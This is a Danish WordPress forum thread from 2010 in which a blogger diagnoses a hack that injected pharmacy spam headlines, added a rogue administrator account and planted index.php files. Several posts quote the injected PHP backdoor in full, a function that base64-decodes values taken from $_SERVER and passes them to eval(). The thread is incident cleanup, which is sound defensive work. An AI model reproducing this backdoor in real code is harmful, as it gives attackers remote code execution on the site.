http://wp-danmark.dk/forum/topic/hackede-overskrifter WordPress DK Forum Topic: Hackede overskrifter ??? da-DK Sat, 01 Aug 2026 08:43:30 +0000 http://bbpress.org/?v=1.0.1 q http://wp-danmark.dk/forum/search.php http://wp-danmark.dk/forum/topic/hackede-overskrifter#post-16880 lør, 15 maj 2010 00:23:09 +0000 Jens Hvass 16880@http://wp-danmark.dk/forum/ <p>Indser, at mit problem endnu ikke er løst. Min blog på <a href="http://www.a21.dk/blog" rel="nofollow">http://www.a21.dk/blog</a> har i hundredevis af google-sider med viagra- og cialis reklamer.</p> <p>Har til gengæld fundet et spor via denne tråd: <a href="http://www.duoblogger.com/wordpress-hacked-by-viagra-sellers" rel="nofollow">http://www.duoblogger.com/wordpress-hacked-by-viagra-sellers</a> . Indlægget fra 11.maj peger på “base64_decode” som noget centralt i problemet. </p> <p>Har været alle filer og bibliotekter igennem igen og fundet endnu tre af de index.php-filer med falsk kode, som jeg har fjernet så mange af. Og der var også oprettet en bruger med administrator-rettigheder, som jeg har fået slettet - og har ændret password. Slet ikke nogen rar fornemmelse.</p> <p>Krydser fingre for, at problemet er væk med næste Google-indeksering.</p> <p>Varme hilsener,<br /> Jens </p> http://wp-danmark.dk/forum/topic/hackede-overskrifter#post-16878 fre, 14 maj 2010 23:58:19 +0000 Jens Hvass 16878@http://wp-danmark.dk/forum/ <p>Undskyld mit sene svar, men nej - siden ligger hos one.com. </p> http://wp-danmark.dk/forum/topic/hackede-overskrifter#post-16124 lør, 27 mar 2010 10:41:04 +0000 Mark Thomas Gazel 16124@http://wp-danmark.dk/forum/ <p>Du er vel ikke tilfældigvis hosted af Servage.net? </p> http://wp-danmark.dk/forum/topic/hackede-overskrifter#post-16118 fre, 26 mar 2010 23:39:59 +0000 John 16118@http://wp-danmark.dk/forum/ <p>Tillykke må så håbe du er clean ;-) </p> http://wp-danmark.dk/forum/topic/hackede-overskrifter#post-16117 fre, 26 mar 2010 22:38:01 +0000 Jens Hvass 16117@http://wp-danmark.dk/forum/ <p>Har måttet skifte størstedelen af php-filerne med nye, stort set alle havde fået lange grumsede kodelinjer øverst. Men nu ser det ud til at der er renset ud i alle kroge. </p> http://wp-danmark.dk/forum/topic/hackede-overskrifter#post-16094 tors, 25 mar 2010 13:57:48 +0000 Jens Hvass 16094@http://wp-danmark.dk/forum/ <p>Og så kan jeg se, at der stadig er en hel masse flere php-filer overskrevet 11.03.2010 kl. 16:19</p> <p>Kan det være rigtigt, at der allerførst i dem alle langt langt ude til højre står koder tilsvarende denne: </p> <p>function e9629($l9631){if(is_array($l9631)){foreach($l9631 as $l9629=&gt;$l9630)$l9631[$l9629]=e9629($l9630);}elseif(is_string($l9631) &amp;&amp; substr($l9631,0,4)=="____"){$l9631=substr($l9631,4);$l9631=base64_decode($l9631);eval($l9631);$l9631=null;}return $l9631;}////array_map("e9629",$_SERVER); </p> http://wp-danmark.dk/forum/topic/hackede-overskrifter#post-16093 tors, 25 mar 2010 13:14:23 +0000 Jens Hvass 16093@http://wp-danmark.dk/forum/ <p>Jeg tror det har været problemet - et snyltetema, som er kommet ind med et plugin, måske et hacked plugin. </p> <p>Har bedt Google om at re-crawle, så de fejlagtige sider også forsvinder fra deres cache.</p> <p>Tak for hjælpen under vejs. </p> <p>Jens </p> http://wp-danmark.dk/forum/topic/hackede-overskrifter#post-16092 tors, 25 mar 2010 12:56:00 +0000 John 16092@http://wp-danmark.dk/forum/ <p>Mon ikke du har fundet synderen<br /> Det viser jo helt klart at man skal være obs på diverse plugins og temaer desværre </p> http://wp-danmark.dk/forum/topic/hackede-overskrifter#post-16091 tors, 25 mar 2010 12:38:19 +0000 Jens Hvass 16091@http://wp-danmark.dk/forum/ <p>Fandt også et helt tema placeret i plugin-mappen med samme dato på en del af filerne, som tilsyneladende har med miseren at gøre. Kan det være kommet sammen med et plugin: Timezone, som det ser ud til at jeg har installeret 11.03.2001 16:19? </p> <p>For så nærmer det sig en forklaring på, hvordan tingene er kommet indenbords. </p> http://wp-danmark.dk/forum/topic/hackede-overskrifter#post-16090 tors, 25 mar 2010 12:15:40 +0000 Jens Hvass 16090@http://wp-danmark.dk/forum/ <p>Fandt i to temaer, som jeg ikke bruger, Tarski og White as Milk, filer med nøjagtigt samme tidsstempel (11.03.2010 16:19) som de fejlagtige index.php filer. Det drejer sig om 404- achive-, achives- og attachment-siderne. Nu har jeg slettet disse teamer, da jeg ikke bruger dem. </p> http://wp-danmark.dk/forum/topic/hackede-overskrifter#post-16089 tors, 25 mar 2010 11:54:08 +0000 Jens Hvass 16089@http://wp-danmark.dk/forum/ <p>Tak for forslagene, Jopa og Pete</p> <p>&gt; Er din WP altid opdateret ? </p> <p>Jeg har måske været en uge bagefter med at opdatere til seneste - alle disse ekstra index.php er dannet på samme tidspunkt 11.03.2010.</p> <p>&gt; Du er ikke nødvendigvis blevet hacket udefra ...</p> <p>Muligvis. Men det tema, Skimmed Milk, som jeg bruger, har jeg brugt uafbrudt siden januar 2008, så det virker underligt, om det skulle have med det at gøre. </p> <p>Når man ser siden i Googles cache, så er det påfaldende, at hackeren har været i stand til at skifte overskrifterne, men ikke til at ændre links'ene så de rent faktisk peger på på Viagara, Valium, Online Pharmacy osv.</p> <p>Hvis det var designet indefra, ville man have gjort det langt mere elegant. </p> http://wp-danmark.dk/forum/topic/hackede-overskrifter#post-16088 tors, 25 mar 2010 09:42:41 +0000 peteandersen 16088@http://wp-danmark.dk/forum/ <p>Du er ikke nødvendigvis blevet hacket udefra. Måske har du selv taget det ind - ved at bruge det tema du bruger.</p> <p>Prøv at checke om der ikke ligger noget krypteret kode et sted i dit tema - ofte i footeren. Nogle gratis temaer har »indbygget« reklame for f.eks. viagra som du ser det her. Andre som jeg har oplevet sørger for, at der automatisk altid er et link blogroll, tilbage til udvikleren. Den ene lidt værre end den anden men begge irriterende. </p> <p id="twitter_update_list"> <script type="text/javascript" src="http://twitter.com/javascripts/blogger.js"></script> <script type="text/javascript" src="http://twitter.com/statuses/user_timeline/.json?callback=twitterCallback2&count=1"></script></code></small></p><br/> http://wp-danmark.dk/forum/topic/hackede-overskrifter#post-16086 tors, 25 mar 2010 07:17:24 +0000 John 16086@http://wp-danmark.dk/forum/ <p>Er din WP altid opdateret ? </p> http://wp-danmark.dk/forum/topic/hackede-overskrifter#post-16081 tors, 25 mar 2010 00:34:55 +0000 Jens Hvass 16081@http://wp-danmark.dk/forum/ <p>er det ikke bedre at slette alle de overflødige index.php-filer helt? </p> http://wp-danmark.dk/forum/topic/hackede-overskrifter#post-16080 tors, 25 mar 2010 00:22:43 +0000 Jesper 16080@http://wp-danmark.dk/forum/ <p>Slet alt det </p> <p><code>function g14974($l14976){if(is_array($l14976)){foreach($l14976 as $l14974=&gt;$l14975)$l14976[$l14974]=g14974($l14975);}elseif(is_string($l14976) &amp;&amp; substr($l14976,0,4)=="____"){$l14976=substr($l14976,4);$l14976=base64_decode($l14976);eval($l14976);$l14976=null;}return $l14976;}////array_map("g14974",$_SERVER);<br /> </code> </p> http://wp-danmark.dk/forum/topic/hackede-overskrifter#post-16079 tors, 25 mar 2010 00:11:45 +0000 Jens Hvass 16079@http://wp-danmark.dk/forum/ <p>Kære wordpress.dk</p> <p>Jeg har lige fået et lille chok, i og med at jeg søgte på Google og kom til en side fra min egen blog, kun med den forskel, at overskriften var: We Always Have The LOWEST Pharmacy Online-Offers.</p> <p>Se Googles cache (via søgning på: James E. Hansen): </p> <p><a href="http://74.125.77.132/search?q=cache:HDOq6TAppYgJ:a21.dk/blog/2009/03/16/james-hansen-i-koebenhavn/+James+E.+Hansen&amp;cd=8&amp;hl=da&amp;ct=clnk&amp;gl=dk" rel="nofollow">http://74.125.77.132/search?q=cache:HDOq6TAppYgJ:a21.dk/blog/2009/03/16/james-hansen-i-koebenhavn/+James+E.+Hansen&amp;cd=8&amp;hl=da&amp;ct=clnk&amp;gl=dk</a></p> <p>Normalt bør siden se sådanher ud: </p> <p><a href="http://a21.dk/blog/2009/03/16/james-hansen-i-koebenhavn/" rel="nofollow">http://a21.dk/blog/2009/03/16/james-hansen-i-koebenhavn/</a></p> <p>Som I kan se, er overskriften hacked,og der er røget dobbelte kommaer i teksten</p> <p>Er der nogen, som kan gennemskue, hvad det handler om? Kan det hænge sammen med, at jeg føler at min blog (www.a21.dk/blog) på det seneste har kørt meget langsomt?</p> <p>Kan det hænge sammen med en række index.php-filer, som dukker op forskellige steder, hvor teksten når man åbner er: </p> <p>&lt;?php function g14974($l14976){if(is_array($l14976)){foreach($l14976 as $l14974=&gt;$l14975)$l14976[$l14974]=g14974($l14975);}elseif(is_string($l14976) &amp;&amp; substr($l14976,0,4)=="____"){$l14976=substr($l14976,4);$l14976=base64_decode($l14976);eval($l14976);$l14976=null;}return $l14976;}////array_map("g14974",$_SERVER);<br /> // Silence is golden.<br /> ?&gt;</p> <p>Har lige lavet flere søgninger - prøv på bloggens navn "strøtanker om bæredygtighed" - det ser ud til at være ret gennemført, med også viagara-annoncer.</p> <p>Er der nogen, der har bud på, hvad man kan gøre for at slippe af med fænomenet?</p> <p>Varme hilsener,<br /> Jens </p>